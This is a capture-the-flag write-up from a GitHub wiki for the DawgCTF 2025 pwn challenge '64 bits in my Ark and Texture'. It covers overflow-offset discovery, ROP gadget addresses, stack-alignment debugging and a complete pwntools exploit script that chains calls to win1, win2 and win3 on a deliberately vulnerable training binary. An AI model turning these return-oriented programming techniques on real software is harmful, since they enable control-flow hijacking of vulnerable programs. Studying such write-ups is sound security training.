DawgCTF 64 bits in my Ark and Texture write up - Pez1181/CTF GitHub Wiki
π§ challenge name: 64 bits in my Ark and Texture (DawgCTF 2025)
π Challenge Type: Pwn
π Vulnerability: Classic stack buffer overflow
π‘οΈ Protections Bypassed: Partial RELRO, no canary, executable stack
---
### π Intro
This binary is a staged x86-64 exploitation challenge. You pass a short quiz on Linux calling conventions, then must "prove your mastery" by jumping through `win1`, `win2`, and finally `win3`, satisfying argument checks along the way. Success gets you the flag.
---
### π Recon & Analysis
```bash
$ checksec chall
[*] '/mnt/d/DawgCTF/64_bit/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
β This is good news β with no PIE and no canary, ROP attacks are viable. The stack is also executable, though we won't need shellcode here.
π§ͺ Step 1: Find the overflow offset
We use pwndbgβs cyclic
pattern to find where the overflow begins:
$ gdb ./chall
#cyclic 200 - enter at the prompt
cyclic -l 0x6161616c
152
β‘οΈ So the offset to RIP is 152 bytes.
win
functions
π§© Step 2: Understand the Through Ghidra and gdb we learn:
win1()
requires no args, just jump to it.win2()
takes a single argument and checks:if (x == 0xdeadbeef)
win3()
checks all three:if (x == 0xdeadbeef && y == 0xdeafface && z == 0xfeedcafe)
We initially had 0xfee2cafe
by mistake for the third arg, which caused it to fail silently β lesson learned.
βοΈ Step 3: Finding Gadgets
We used ROP(ELF)
and manual analysis to find:
pop_rdi = 0x4017d6
pop_rsi = 0x4017d8
pop_rdx = 0x4017da
ret = 0x40101a # single ret for alignment
π Trial & Error with Stack Alignment
Once all arguments were correct, the payload would still crash after printing the flag, due to stack misalignment. We debugged with:
b *win2
b *win3
r < payload.bin
(gdb) p (int)$rsp % 16
If % 16
was -8
, then the stack was misaligned, and functions like printf
(which use movaps
) would crash. We fixed it by adding extra ret
gadgets before calling win3()
.
π§ͺ Final Working Payload Strategy
- Overflow 152 bytes
- Call
win1
- Call
win2(0xdeadbeef)
- Fix stack alignment with
ret
Γ2 - Call
win3(0xdeadbeef, 0xdeafface, 0xfeedcafe)
β Full Exploit Script
from pwn import *
context.binary = ELF('./chall', checksec=False)
context.log_level = 'info'
REMOTE = False
# Connect
p = remote('connect.umbccd.net', 22237) if REMOTE else process('./chall')
# Addresses
offset = 152
win1 = 0x401401
win2 = 0x401314
win3 = 0x4011e6
pop_rdi = 0x4017d6
pop_rsi = 0x4017d8
pop_rdx = 0x4017da
ret = 0x40101a
# Target args
arg1 = 0xdeadbeef
arg2 = 0xdeafface
arg3 = 0xfeedcafe # careful!
# Build payload
payload = b'A' * offset
payload += p64(ret)
payload += p64(win1)
payload += p64(pop_rdi)
payload += p64(arg1)
payload += p64(ret)
payload += p64(win2)
payload += p64(ret) * 2 # align stack before printf
payload += p64(pop_rdi)
payload += p64(arg1)
payload += p64(pop_rsi)
payload += p64(arg2)
payload += p64(pop_rdx)
payload += p64(arg3)
payload += p64(win3)
# Full input: answers + payload
final_input = b'2\n1\n4\n' + payload + b'\n'
p.send(final_input)
p.interactive()
π Final Notes
movaps
alignment bugs are sneaky! If your payload crashes after callingprintf
, always check%rsp % 16
.- We debugged this using manual crafted input files (
xxx.bin
) andgdb
breakpoints onwin2
andwin3
. - Sending your exploit via
stdin
using< xxx.bin
can emulate remote behavior more closely thansendline()
sometimes. - Always verify argument values in memory to catch typos (
feedcafe
vsfee2cafe
...).
π Flag
HTB{Re7_r3T_REt_re7_rEt_(RET)}
Mission complete. Ret2Base, soldier. π«‘